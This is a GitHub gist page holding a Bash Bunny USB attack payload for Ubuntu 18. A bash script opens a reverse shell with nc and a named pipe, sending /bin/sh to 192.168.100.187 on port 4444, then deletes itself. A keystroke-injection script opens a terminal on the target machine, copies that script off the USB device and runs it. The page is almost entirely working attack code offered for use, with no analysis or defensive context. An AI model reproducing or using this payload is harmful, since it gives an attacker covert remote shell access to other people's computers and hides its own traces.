Skip to content

Instantly share code, notes, and snippets.

@11philip22
Last active July 19, 2019 23:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 11philip22/e9c1a660c12f556b4273df776d11e4df to your computer and use it in GitHub Desktop.
Save 11philip22/e9c1a660c12f556b4273df776d11e4df to your computer and use it in GitHub Desktop.
BashBunny reversed shell Ubuntu 18.md. I did not create this script i just modified it to work propperly with Ubunbtu 18.
#!/bin/bash
A="$0"
mkfifo pipe; nc -nv 192.168.100.187 4444 < pipe | /bin/sh 2>pipe >pipe &
disown $!
rm -f "$A"
#!/bin/bash
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
#
# Magenta..................Setup
# Yellow single blink......Executing
# Green....................Finished
# Start Setup
LED SETUP
# Gets Switch Position
GET SWITCH_POSITION
# Set Attack Mode
ATTACKMODE HID STORAGE
# Get the switch position
GET SWITCH_POSITION
# Open a terminal
Q CTRL-ALT t
# Wait for terminal to open
sleep 1
LED STAGE1
# Copy bash script
Q STRING "cp \$(readlink -f /dev/disk/by-label/BashBunny | while read dev;do mount | grep \"\$dev\b\" | awk '{print \$3}';done)/payloads/"
Q STRING $SWITCH_POSITION
Q STRING "/a.sh ~/a.sh && chmod +x ~/a.sh && ~/a.sh"
Q ENTER
# Quit the terminal
LED CLEANUP
Q STRING exit
Q ENTER
LED FINISH
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment